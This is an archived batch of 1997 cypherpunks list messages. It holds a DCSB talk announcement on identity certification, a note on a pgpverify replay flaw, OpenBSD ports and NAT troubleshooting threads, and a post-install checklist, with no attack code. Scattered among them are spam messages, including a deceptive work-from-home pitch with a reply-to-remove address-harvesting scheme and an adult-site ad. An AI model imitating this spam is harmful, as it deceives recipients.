To: root@esinet.com
Subject: Hope you didn't forget..
Message-ID: <0000000000.AAA000@aol.com>
MIME-Version: 1.0
Content-Type: text/plain


FIVE MINUTES FREE!
Just for you if you're over 18.

http://www.virtualthrills.com

Signup for free and use your free time.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 13 Oct 1997 10:38:32 -0700 (PDT)
To: Recipient List Suppressed:;
Subject: DCSB: Carl Ellison on Identity and Certification for Electronic Commerce
Message-ID: <v031107dbb068079c084c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: rah@pop.sneaker.net
Mime-Version: 1.0
Date: Mon, 13 Oct 1997 12:52:18 -0400
To: dcsb@ai.mit.edu, dcsb-announce@ai.mit.edu
From: Robert Hettinga <rah@shipwright.com>
Subject: DCSB: Carl Ellison on Identity and Certification for Electronic
 Commerce
Cc: cme@cybercash.com
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Robert Hettinga <rah@shipwright.com>

-----BEGIN PGP SIGNED MESSAGE-----


               The Digital Commerce Society of Boston

                            Presents

                          Carl Ellison
                         CyberCash, Inc.

                    Identity and Certification
                     for Electronic Commerce

                      Tuesday, November 4, 1997
                             12 - 2 PM
                 The Downtown Harvard Club of Boston
                   One Federal Street, Boston, MA



It is a common belief that you can not trust someone on the net
unless/until you establish his "identity" via an interactive protocol in
which the other person establishes proof of ownership of a given private
key and a transfer  of certificates which establish a binding between that
key and a person's  "identity" (in the form of a common name plus enough
information to make it unique in some global hierarchy of names).  This
talk will establish that the proof of key ownership is the primary value
obtained from this process and that the global hierarchy of names is
effectively useless.  It will propose certificates for electronic commerce
which use a person's public key to identify him, avoiding the hierarchy of
names.


Carl Ellison is a cryptographic engineer with CyberCash, Inc., of Reston
VA. He has been involved in cryptography since about 1978 and seriously
involved since doing his first cryptanalysis in 1986.  With the
introduction of PEM in the early 1990's, he found the PEM certification
process to be a killing roadblock and has studied certification and the
establishment of  identity since that time.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, November 4, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, November 1, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00. Please include your e-mail
address, so that we can send you a confirmation

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

December  James O'Toole        Internet Coupons
January   Joseph Reagle        "Social Protocols": Meta-data
                                 and Negotiation in Digital Commerce
February  Donald Eastlake      SET


We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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=E24t
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: skoked@mail2.c-flash.net
Date: Mon, 13 Oct 1997 22:35:51 -0700 (PDT)
To: skoked@mail2.c-flash.net
Subject: After All,-----It Is *YOUR* Life
Message-ID: <199710140535.WAA15149@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


                                   After all, It is *YOUR* Life--

  I would like to let YOU in - on a small Gold Mine!!  I have....

If you are like many other people who don't like going to work-This is for YOU!!
Even if you love your job (especially if You don't) - This is for YOU!!

What I'm about to say maybe UNBELIEVABLE at first, But read on...

THIS IS NOT A SCAM--- I am an ordinary Joe just like YOU!!

EVERYTHING YOU NEED----(except a small amount of dedication and time) 
Is being offered to *YOU* ---*RIGHT NOW*!!!   The rest will follow !!!

I'm going to share with You--- My *FREE* Software--- To get You started on Your way !!!
---WHAT HAVE YOU GOT TO LOSE?--- 

-Soon, from 9 to 5 , You will be doing all of the things You only dreamed of !!!
                                                   ***RIGHT NOW***
To get YOUR *FREE* Software, Reply with the subject 'FREE' 

P.S.- Reply only with Subject 'FREE' (nothing else should be in this field)

///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.If you do not reply only with subject "Remove", there is
no way for you to be "Removed"........So please do so if you want to be "Removed".
////////////////////////////////////////////////////////////////////////////////


                                   





                                             




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biz@savoynet.com
Date: Tue, 14 Oct 1997 19:04:25 -0700 (PDT)
Subject: No Subject
Message-ID: <199710150203.WAA24552@moscow.savoynet.com>
MIME-Version: 1.0
Content-Type: text/plain


////////////////////////////////////////////////////////
Realizing that many of you do not wish to receive UCE,
if you would please type REMOVE in the Subject Header,
you will not hear from me again, you WILL be permanently
removed. If you don't do this, and send me a nasty reply,
there will be no way for me to REMOVE you.
/////////////////////////////////////////////////////////

We are looking for reseller for our Virtual Pets/Electronic Pets

Tamagotchi Style Virtual Pets

On sale  

3 in 1 Electronic Pets ( We have 200,000 pcs in our Taiwan factory ready to ship )


Price: $3.5 FOB Taiwan at quantity 1000 UP
Smaller quantity: price by request.

This is most popular electronic toy. We can provide the "Virtualc Pets", Dinosaur, Puppy, Kitten 3 in 1

It can be re-set, so you can play with your pet for a long long time. If you are interested in these products. Please contact with us.

mailto:biz@savoynet.com 


Long Well Electronic Corp.

P.O Box 15211, Fremont, CA 94539



 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lutz Donnerhacke <lutz@IKS-JENA.DE>
Date: Wed, 15 Oct 1997 01:23:53 -0700 (PDT)
To: cosmos@microserve.net
Subject: Security flaw in PGPverify of INN
Message-ID: <v03102819b069bed85788@[207.155.93.30]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3985.1071713746.multipart/mixed"

--Boundary..3985.1071713746.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hi,

I was urged to send you the following information. I noticed CERT and tale
itself. But tale claims that the problem is not a problem of pgpverify, it's
a problem of some krauts trying to send checkgroups monthly using a bot.

The checkgroups mentioned were send since a year. They do not include Date:
and Message-ID: because these values were not predictable by the human
signer and the bot does not know the passphrase to work with.

In consequence there are checkgroups out there which can be resend at any
time causing a lot of trouble, because the signature is still valid even if
a new Message-ID: and Date: line are used.

The obvious fix is to modify pgpverify to block such control messages.
ftp://ftp.iks-jena.de/pub/mitarb/lutz/ contains the necessary fixes.

HTH

Content-Type: application/pgp-signature



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Content-Description: "Untitled"

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--Boundary..3985.1071713746.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Warner Losh <imp@village.org>
Date: Wed, 15 Oct 1997 12:10:35 -0700 (PDT)
To: uk1o@rz.uni-karlsruhe.de
Subject: Re: CVS: cvs.openbsd.org: ports
In-Reply-To: <E0xLTBc-0001Bo-00@rover.village.org>
Message-ID: <199710151405.IAA20043@harmony.village.org>
MIME-Version: 1.0
Content-Type: text/plain


In message <E0xLTBc-0001Bo-00@rover.village.org> uk1o@rz.uni-karlsruhe.de writes:
: How about suggesting a make variable HAS_LIBCRYPT to the FreeBSD people?
: We could set it in <bsd.own.mk> or something like this (to a value
: meaning "we don't have it and we don't need it either), and FreeBSD could
: do similar.

The problem isn't in the BSD make files, but rather in the makefiles
of the ports.  True, many FreeBSD ports' patches add -lcrypt blindly
to the makefile, but that could change.

: Another way were patching the third party program's Makefile accordingly.
: We should introduce a patches-${OPSYS} directory having precedence before
: the patches directory of a port. Thus we could maintain our special patches
: for ports which need them while continuing to use the FreeBSD ports where
: they work out of the box. I see now that this is already implemented in
: <bsd.port.mk>, so we could just USE that.

There already is the patches-${OPSYS} that can be used for this
purpose.

Warner




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tobias Weingartner <weingart@natasha.brandonu.ca>
Date: Wed, 15 Oct 1997 11:20:12 -0700 (PDT)
To: uk1o@rz.uni-karlsruhe.de
Subject: Re: CVS: cvs.openbsd.org: ports
In-Reply-To: <199710151308.HAA03190@mroe.cs.colorado.edu>
Message-ID: <14196.876929326@natasha.brandonu.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wednesday, October 15, uk1o@rz.uni-karlsruhe.de wrote:
>
> Another way were patching the third party program's Makefile accordingly.
> We should introduce a patches-${OPSYS} directory having precedence before
> the patches directory of a port. Thus we could maintain our special patches
> for ports which need them while continuing to use the FreeBSD ports where
> they work out of the box. I see now that this is already implemented in
> <bsd.port.mk>, so we could just USE that.

I've already made a similar message to the ports list.  It was shot down.
But maybe now that we see the "trouble" with the current setup, we can
re-evaluate that.  Personally, I think we could share 95% of the ports
stuff between open/freebsd, but it would be nice to have the ability to
fix things in a local cvs tree, without having to wait for the fix to go
through channels.


--Toby.
*----------------------------------------------------------------------------*
| Tobias Weingartner | Email: weingart@BrandonU.Ca | Need a Unix sys-admin?  |
| 6B-1137 Lorne Ave. |-----------------------------| Send E-Mail for resume, |
| Brandon, Canada    | Unix Guru? Admin, Sys-Prgmr | and other details...    |
|----------------------------------------------------------------------------|
|      %SYSTEM-F-ANARCHISM, The operating system has been overthrown         |
*----------------------------------------------------------------------------*






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "J. Joseph Max Katz" <jkatz@cpio.org>
Date: Wed, 15 Oct 1997 20:02:27 -0700 (PDT)
To: Marshall Midden <m4@nts.umn.edu>
Subject: Re: Document on Customizing OpenBSD after install
In-Reply-To: <199710152020.PAA24415@unet.unet.umn.edu>
Message-ID: <Pine.NEB.3.95.971015103613.12554A-100000@corinne.cpio.org>
MIME-Version: 1.0
Content-Type: text/plain


Re...

In the coming weekend, I'll be updating the newuser FAQ
(for things like PPP and 2.2). I'm sure a post-install checklist would be
a welcome addition.

B U T . . . .

Not everyone runs things like Kerberos or DNS. Keep in mind that many
people use OpenBSD for many things and in many environs. The OpenBSD setup
on my firewall at the office is much different than the Sparc, Alpha, and
P5/133 I run it on at home. The setup on my router machine at home is also
much different than the other machines in my house. There are ways people
have setup OpenBSD on embeded systems to do things like manage the
fuel/air mix ratio on their Corvettes (OK, one person I know of planned
that, but couldn't get the financing for the car...) I hope that draws the
picture.

As for the verification after install, that is sort of "auto-manditory"--
if a filesystem isn't mounted right, /etc/fstab has to be checked out. If
the network doesn't work, the network files must be examined to "make it
go." As oopposed to attacking this as a checklist, how about it is
attacked as "If networking doesn't work, check hostname.(interface)"-- but
there is more to that then just files in /etc (boot -c in order to
reconfigure hardware addresses)

/----------------------------------------------------------------
/ Jonathan Katz, jkatz@cpio.org         /  http://www.cpio.org
/ Student, Unix geek, Security guy      /  http://posse.cpio.org
/ President and Founder: Corinne Posse  /  http://jon.katz.com
/ Phone: +1 (317) 590-7092              /  "OpenBSD: Secure!"
/     "The meek may inherit the earth,      
/             but Gale and I will seize the stars!"

On Wed, 15 Oct 1997, Marshall Midden wrote:

> Is there a checklist someplace on what to do after the install of OpenBSD 2.2?
> 
> I'm thinking like:
>    1) Go into /etc
> 	a) Verify disks and network interfaces configured correctly.
> 	   Files: fstab, hosts, myname, hostname.le0, mygate, resolv.conf, defaultdomain.
> 	   You might wish to turn off multicast routing in /etc/netstart.
> 	b) Edit motd to make lawyers comfortable and delete "Welcome".
> 	c) Fix passwd via "vipw" to change passwords, set up users, etc.
> 	   Make sure password on "root".  Default is no password from console, and
> 	   disabled from network.  Make sure to edit "group" for any user groups,
> 	   and to put people into the wheel group if they need root access.
> 	d) Any local configuration change in: rc.conf, rc.local
> 	e) printcap, hosts.lpd	Get printers set up
> 	f) Tighten security:
> 		fbtab		Set security for X
> 		inetd.conf	Turn off extra stuff, add that which is really needed.
> 		rc.securelevel	Turn on Network Time Protocol.
> 	g) kerberosIV		Get kerberos configured.  Remember to get a srvtab.
> 	h) aliases		Local mail delivery (set postmaster, etc).  Run newaliases
> 	   after changes.
> 	i) bootptab		If this is a bootp server.
> 	j) ccd.conf		If using concatenated disks (striped, etc).
> 	k) exports		If this is an NFS server.
> 	m) NIS (old yellow pages), hosts.equiv, defaultdomain, etc.
> 	n) ifaliases for www, etc.
> 	o) daily, weekly, monthly.
> 	p) "amd" directory if using this package.
> 	q) rbootd if needed for remote booting (ethernet MAC address to IP translation).
> 	r) Any other files and directories in /etc.
> 
>    2) crontab -l.		Do you need anything else?
>    3) After the first nights security run, change ownerships and permissions on things.
> 	Best bet is to have permissions as in the security list.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Global Web Builders <gwb@gwb.com.au>
Date: Tue, 14 Oct 1997 18:23:32 -0700 (PDT)
To: (Recipient list suppressed)
Subject: One Nation on-line working group
Message-ID: <1.5.4.16.19971015105901.330722a4@mail.pronet.net.au>
MIME-Version: 1.0
Content-Type: text/plain


If you did not request to be put on the One Nation mailing list please
respond with "REMOVE" in the Subject line while leaving the message (below)
intact.

No email is sent without a request having first been received.

GWB, Scott Balson, One Nation web site operator.
____________________________________________________________________________
__________ 

Dear One Nation supporters in NSW,

Pauline Hanson's One Nation is now establishing an on-line working group of
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Pauline Hanson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: uk1o@rz.uni-karlsruhe.de
Date: Wed, 15 Oct 1997 08:57:24 -0700 (PDT)
To: patton@sysnet.net (Matthew Patton)
Subject: Re: ipnat problems continued
In-Reply-To: <l03110706b06b487e1e49@[206.142.16.66]>
Message-ID: <199710151308.HAA03204@mroe.cs.colorado.edu>
MIME-Version: 1.0
Content-Type: text/plain


Hello!

According to Matthew Patton:
> I've tried varios purmutations of the map rules to no positive effect.
> map ppp0 192.168.1.0/24 -> 206.142.xx.yy/32 portmap tcp/udp 10000:20000
> repeat except substitute   ^^^^^^^^^^^^^ with 0.0.0.0 or ppp0. Neither works.

> I ran tcpdump on ppp0 on the gateway and sure enough, the box is sending
> down the modem link 192.168.1.10 (the particular LAN host trying to
> initiate an outside connection) as the source IP. Now if everything were
> correct shouldn't it be the IP addr of the local end of the PPP link as
> hosted on the gateway box? (ie 206.142.xx.yy)

> ipnat -l has never once shown any indication of active connections.
> Either nat is seriosly not working under stock v2.1 (anyone prove it does
> work?) or there are some undocumented and not exactly obvios dependencies
> with regard to kernel options.

Do you have
  option IPFILTER
and perhaps
  option IPFILTER_LOG
set?

> [...]

> BTW, how come kernal option IPNAT isn't documented ANYWHERE? It's not even
> in the ALL file.

Because it's integrated with the IPFILTER (option IPFILTER).

Besides: ipnat(1), ipnat(4), ipnat(5)...

Regards, Felix.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: uk1o@rz.uni-karlsruhe.de
Date: Wed, 15 Oct 1997 10:55:26 -0700 (PDT)
To: imp@harmony.village.org (Warner Losh)
Subject: Re: CVS: cvs.openbsd.org: ports
In-Reply-To: <199709181910.NAA20539@harmony.village.org>
Message-ID: <199710151308.HAA03190@mroe.cs.colorado.edu>
MIME-Version: 1.0
Content-Type: text/plain


Hello!

[older mail]

According to Warner Losh:
> In message <199709160731.JAA11130@waldorf.appli.se> Niklas Hallqvist writes:
> : To people with commit access: committing to ports won't work, it's a
> : sup mirror where files will get overwritten.  Instead discuss changes
> : on ports@ and when good, mail to imp@ with explanations for
> : consideration of including into FreeBSD.

> This particular patch was committed to the FreeBSD tree last night.

> I do think that there will come a time when OpenBSD needs to have its
> own ports tree.  95% of this tree could be a mirror of the FreeBSD,
> but there are some interesting issues that need to be resolved that
> haven't been (like the libcrypt issues).

How about suggesting a make variable HAS_LIBCRYPT to the FreeBSD people?
We could set it in <bsd.own.mk> or something like this (to a value
meaning "we don't have it and we don't need it either), and FreeBSD could
do similar.

Another way were patching the third party program's Makefile accordingly.
We should introduce a patches-${OPSYS} directory having precedence before
the patches directory of a port. Thus we could maintain our special patches
for ports which need them while continuing to use the FreeBSD ports where
they work out of the box. I see now that this is already implemented in
<bsd.port.mk>, so we could just USE that.

> Warner

Regards, Felix.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Midden <m4@nts.umn.edu>
Date: Wed, 15 Oct 1997 16:03:42 -0700 (PDT)
To: tech@openbsd.org
Subject: Document on Customizing OpenBSD after install
Message-ID: <199710152020.PAA24415@unet.unet.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain


Is there a checklist someplace on what to do after the install of OpenBSD 2.2?

I'm thinking like:
   1) Go into /etc
	a) Verify disks and network interfaces configured correctly.
	   Files: fstab, hosts, myname, hostname.le0, mygate, resolv.conf, defaultdomain.
	   You might wish to turn off multicast routing in /etc/netstart.
	b) Edit motd to make lawyers comfortable and delete "Welcome".
	c) Fix passwd via "vipw" to change passwords, set up users, etc.
	   Make sure password on "root".  Default is no password from console, and
	   disabled from network.  Make sure to edit "group" for any user groups,
	   and to put people into the wheel group if they need root access.
	d) Any local configuration change in: rc.conf, rc.local
	e) printcap, hosts.lpd	Get printers set up
	f) Tighten security:
		fbtab		Set security for X
		inetd.conf	Turn off extra stuff, add that which is really needed.
		rc.securelevel	Turn on Network Time Protocol.
	g) kerberosIV		Get kerberos configured.  Remember to get a srvtab.
	h) aliases		Local mail delivery (set postmaster, etc).  Run newaliases
	   after changes.
	i) bootptab		If this is a bootp server.
	j) ccd.conf		If using concatenated disks (striped, etc).
	k) exports		If this is an NFS server.
	m) NIS (old yellow pages), hosts.equiv, defaultdomain, etc.
	n) ifaliases for www, etc.
	o) daily, weekly, monthly.
	p) "amd" directory if using this package.
	q) rbootd if needed for remote booting (ethernet MAC address to IP translation).
	r) Any other files and directories in /etc.

   2) crontab -l.		Do you need anything else?
   3) After the first nights security run, change ownerships and permissions on things.
	Best bet is to have permissions as in the security list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Warner Losh <imp@village.org>
Date: Wed, 15 Oct 1997 16:46:02 -0700 (PDT)
To: Tobias Weingartner <weingart@natasha.brandonu.ca>
Subject: Re: CVS: cvs.openbsd.org: ports
In-Reply-To: <14196.876929326@natasha.brandonu.ca>
Message-ID: <199710152134.PAA21613@harmony.village.org>
MIME-Version: 1.0
Content-Type: text/plain


In message <14196.876929326@natasha.brandonu.ca> Tobias Weingartner writes:
: I've already made a similar message to the ports list.  It was shot down.
: But maybe now that we see the "trouble" with the current setup, we can
: re-evaluate that.  Personally, I think we could share 95% of the ports
: stuff between open/freebsd, but it would be nice to have the ability to
: fix things in a local cvs tree, without having to wait for the fix to go
: through channels.

I would like to support this 100%.  This would also help with the
-lcrypt problem, et al.

Recall that bsd.port.mk already supports this.  We can start doing it
right away...

Warner




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tech21@tectel.com
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To: MDPhD@tectel.com
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Patton <patton@sysnet.net>
Date: Tue, 14 Oct 1997 23:51:16 -0700 (PDT)
To: misc@openbsd.org
Subject: ipnat problems continued
Message-ID: <l03110706b06b487e1e49@[206.142.16.66]>
MIME-Version: 1.0
Content-Type: text/plain


I've tried varios purmutations of the map rules to no positive effect.
map ppp0 192.168.1.0/24 -> 206.142.xx.yy/32 portmap tcp/udp 10000:20000
repeat except substitute   ^^^^^^^^^^^^^ with 0.0.0.0 or ppp0. Neither works.

I ran tcpdump on ppp0 on the gateway and sure enough, the box is sending
down the modem link 192.168.1.10 (the particular LAN host trying to
initiate an outside connection) as the source IP. Now if everything were
correct shouldn't it be the IP addr of the local end of the PPP link as
hosted on the gateway box? (ie 206.142.xx.yy)

ipnat -l has never once shown any indication of active connections.
Either nat is seriosly not working under stock v2.1 (anyone prove it does
work?) or there are some undocumented and not exactly obvios dependencies
with regard to kernel options.

Can someone please mail me a kernel config that is guarenteed to work on a
stock v2.1 box for i386 architecture?

BTW, how come kernal option IPNAT isn't documented ANYWHERE? It's not even
in the ALL file.

--------
Windows95: noun. 32-bit extensions and a graphical shell for a 16-bit
  patch to an 8-bit operating system originally coded for a 4-bit
  microprocessor, written by a 2-bit company that can't stand 1 bit of
  competition. (author unknown)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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Subject: Hello!
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Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "K.R. Lewis" <krl@vicomp.com>
Date: Thu, 16 Oct 1997 11:02:47 -0700 (PDT)
To: "J. Joseph Max Katz" <m4@nts.umn.edu>
Subject: Re: Document on Customizing OpenBSD after install
Message-ID: <1.5.4.32.19971016122647.0099686c@192.168.1.15>
MIME-Version: 1.0
Content-Type: text/plain


At 10:46 AM 10/15/97 -0700, J. Joseph Max Katz wrote:  AND Randy Lewis has a remark
                                                       about JJMK's response....below
>Re...
>
>In the coming weekend, I'll be updating the newuser FAQ
>(for things like PPP and 2.2). I'm sure a post-install checklist would be
>a welcome addition.
>
>B U T . . . .
>
>Not everyone runs things like Kerberos or DNS. Keep in mind that many
>people use OpenBSD for many things and in many environs. The OpenBSD setup
>on my firewall at the office is much different than the Sparc, Alpha, and
>P5/133 I run it on at home. The setup on my router machine at home is also
>much different than the other machines in my house. There are ways people
>have setup OpenBSD on embeded systems to do things like manage the
>fuel/air mix ratio on their Corvettes (OK, one person I know of planned
>that, but couldn't get the financing for the car...) I hope that draws the
>picture.
>
>As for the verification after install, that is sort of "auto-manditory"--
>if a filesystem isn't mounted right, /etc/fstab has to be checked out. If
>the network doesn't work, the network files must be examined to "make it
>go." As oopposed to attacking this as a checklist, how about it is
>attacked as "If networking doesn't work, check hostname.(interface)"-- but
>there is more to that then just files in /etc (boot -c in order to
>reconfigure hardware addresses)

As a user of OpenBSD, and having tried to manage projects with it for
implementation of added features for customers...I could not agree with
the above position.

You see, if you are ALREADY familiar with OpenBSD then you will most likely
know exactly what to do when installing and seting up a system. New User's
Notes / Installation Checklist's will most likely be ignored by you.

However, if you are brand new to the system, then an Installation / Setup
Checklist (a good one) will prove to be essential. Wouldn't it be great if
just about every post to these groups from a new user was one like "..hey!
This OpenBSD thingy works great! The installation was a snap!.." or something
like that.  We all know that hardly happens now...but, it could.....

I, for one, believe strongly that a good 'Overview', 'Setup Notes' and 'Installation
Checklist' must somehow find it's way into the distribution. It is also clear
that the machine / arch specific differences will require unique versions
for each.

Randy
>
>/----------------------------------------------------------------
>/ Jonathan Katz, jkatz@cpio.org         /  http://www.cpio.org
>/ Student, Unix geek, Security guy      /  http://posse.cpio.org
>/ President and Founder: Corinne Posse  /  http://jon.katz.com
>/ Phone: +1 (317) 590-7092              /  "OpenBSD: Secure!"
>/     "The meek may inherit the earth,      
>/             but Gale and I will seize the stars!"
>
>On Wed, 15 Oct 1997, Marshall Midden wrote:
>
>> Is there a checklist someplace on what to do after the install of OpenBSD 2.2?
>> 
>> I'm thinking like:
>>    1) Go into /etc
>> 	a) Verify disks and network interfaces configured correctly.
>> 	   Files: fstab, hosts, myname, hostname.le0, mygate, resolv.conf, defaultdomain.
>> 	   You might wish to turn off multicast routing in /etc/netstart.
>> 	b) Edit motd to make lawyers comfortable and delete "Welcome".
>> 	c) Fix passwd via "vipw" to change passwords, set up users, etc.
>> 	   Make sure password on "root".  Default is no password from console, and
>> 	   disabled from network.  Make sure to edit "group" for any user groups,
>> 	   and to put people into the wheel group if they need root access.
>> 	d) Any local configuration change in: rc.conf, rc.local
>> 	e) printcap, hosts.lpd	Get printers set up
>> 	f) Tighten security:
>> 		fbtab		Set security for X
>> 		inetd.conf	Turn off extra stuff, add that which is really needed.
>> 		rc.securelevel	Turn on Network Time Protocol.
>> 	g) kerberosIV		Get kerberos configured.  Remember to get a srvtab.
>> 	h) aliases		Local mail delivery (set postmaster, etc).  Run newaliases
>> 	   after changes.
>> 	i) bootptab		If this is a bootp server.
>> 	j) ccd.conf		If using concatenated disks (striped, etc).
>> 	k) exports		If this is an NFS server.
>> 	m) NIS (old yellow pages), hosts.equiv, defaultdomain, etc.
>> 	n) ifaliases for www, etc.
>> 	o) daily, weekly, monthly.
>> 	p) "amd" directory if using this package.
>> 	q) rbootd if needed for remote booting (ethernet MAC address to IP translation).
>> 	r) Any other files and directories in /etc.
>> 
>>    2) crontab -l.		Do you need anything else?
>>    3) After the first nights security run, change ownerships and permissions on things.
>> 	Best bet is to have permissions as in the security list.
>> 
>
>
>..              .
                     ()        | Kenneth R. (Randy) Lewis
 _/_/         _/_/ _/_/        | email: krl@vicomp.com
  _/        _/      _/         | phone: +1 919 644 6306
   _/      _/       _/         |   fax: +1 919 644 6409
    _/    _/        _/         | smail: V.I Computer, Inc.
     _/  _/         _/         |        531 Encinitas Blvd
      _/_/          _/         |        Bldg 114
       _/         _/_/_/       |        Encinitas, CA 92024
.           .  computer corp.  | http://www.vmepower.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: postmaster@thehitman.com
Date: Thu, 16 Oct 1997 06:30:24 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Web Biz Universal Remove List Update
Message-ID: <199710161330.GAA29483@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Cypherpunks MAILING LIST,
Thank you for adding your address to the Universal Remove  list

This email is simply a notification that you have been added to or updated in our Universal Remove  list(s). As a reminder, you submitted the following details to: www.thehitman.com

Cypherpunks MAILING LIST at cypherpunks@toad.com

Responsible Direct Email DOES exist at Web Biz!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Matthew E. Patton" <pattonme@gnpr.pae.osd.mil>
Date: Thu, 16 Oct 1997 11:44:22 -0700 (PDT)
To: misc@openbsd.org
Subject: kernal timezone options
Message-ID: <199710161400.KAA04735@gnpr.pae.osd.mil>
MIME-Version: 1.0
Content-Type: text/plain


I'm not having much luck figuring out what values exist for the TIMEZONE and
DST kernel options. The default is 0 and 0 which puts my machine off by about
4 hours. The installation routine put in the proper link to US/Eastern or on
another box EST5EDT. This apparently is insufficient to get the date command
to behave. Incorrect time obviously impacts the entire system.

My bios clock is right on. So where are the integers defined that correspond
to the various zoneinfo files? This is definately man page material.

thanks for the continuing assistance.
ps, I figure -1 or -4 is the correct value for DST




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cte@nevwest.com
Date: Thu, 16 Oct 1997 21:51:31 -0700 (PDT)
To: friend@public.com
Subject: Thursday $329
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Midden <m4@nts.umn.edu>
Date: Thu, 16 Oct 1997 11:57:35 -0700 (PDT)
To: katz@corinne.cpio.org
Subject: Checklist, expanded
Message-ID: <199710161612.LAA14238@unet.unet.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain


NOTE: if upgrading or restoring files, it appears that some group numbers
have been changed.

-----------------------------------------------------------------------------
New installation checklist, after install and multi-user boot.
(Instructions for correcting not given.)

1) Login on console as "root".
2) Check the system date.  Type "date".  If necessary, set the system date,
   and/or change the symbolic link to get the correct Time Zone.
3) Put a password on root.  Run "passwd".
4) Check hostname.  Type "hostname".	(man "hostname" if need to change,
   and you also need to edit /etc/myname.)
5) Verify network interfaces configured correctly.
   a) "ifconfig -a".  Correct by editing /etc/hostname.{INTERFACE} and
      via "ifconfig" if you do not with to reboot.
      Loopback interface will look something like:
	lo0: flags=8009<UP,LOOPBACK,MULTICAST>
		inet 127.0.0.1 netmask 0xff000000
      An ethernet interface something like:
	le0: flags=9863<UP,BROADCAST,NOTRAILERS,RUNNING,SIMPLEX,LINK0,MULTICAST>
		inet 192.168.4.52 netmask 0xffffff00 broadcast 192.168.4.255

[Will someone else fill in the ppp and slip interfaces.]

   b) You may wish to turn off multicast routing in /etc/netstart by
      commenting out (place a # sign at start of line) the line:
	# route add -net 224.0.0.0 -interface $hostname
   c) Check for routing. ("netstat -r -n")  It will look something like:
      Routing tables

      Internet:
      Destination        Gateway            Flags     Refs     Use    Mtu
